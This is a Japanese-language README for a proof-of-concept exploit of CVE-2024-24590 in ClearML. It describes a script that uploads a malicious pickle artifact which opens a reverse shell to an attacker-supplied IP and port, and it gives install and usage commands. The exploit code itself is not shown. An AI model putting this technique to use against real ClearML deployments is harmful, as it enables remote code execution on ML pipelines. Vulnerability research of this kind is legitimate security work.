_____ _                 __  __ _        _____   ____   _____ 
  / ____| |               |  \/  | |      |  __ \ / __ \ / ____|
 | |    | | ___  __ _ _ __| \  / | |      | |__) | |  | | |     
 | |    | |/ _ \/ _` | '__| |\/| | |      |  ___/| |  | | |     
 | |____| |  __/ (_| | |  | |  | | |____  | |    | |__| | |____ 
  \_____|_|\___|\__,_|_|  |_|  |_|______| |_|     \____/ \_____| - 2024-24590 x OxyDe
                                                                
                                                                

ClearML Pickle Artifact Upload PoC

このプロジェクトは、コマンドライン引数で設定可能なパラメータを使用して、ClearMLにpickleアーティファクトを動的にアップロードする方法を示します。 このスクリプトは、ClearMLタスクを初期化し、リバースシェル実行用のコマンドを動的に構成し、それをアーティファクトとしてアップロードします。(PoC-CVE-2024-24590)

参照元 : https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/

前提条件

• Python 3.6+
• clearml パッケージ
• argparse パッケージ
• pickle パッケージ
• os モジュール

インストール

1. ClearMLパッケージをインストールします:

   pip install clearml
   

2. リポジトリをクローンします:

   git clone https://github.com/OxyDeV2/PoC-CVE-2024-24590.git
   cd PoC-CVE-2024-24590
   

使用法

スクリプトを実行するには、適切な引数を指定して次のコマンドを使用します:

python script.py --project_name "<project_name>" --task_name "<task_name>" --tags <tag1> <tag2> ... --artifact_name "<artifact_name>" --ip "<ip_address>" --port "<port>"

Skriixに感謝します :)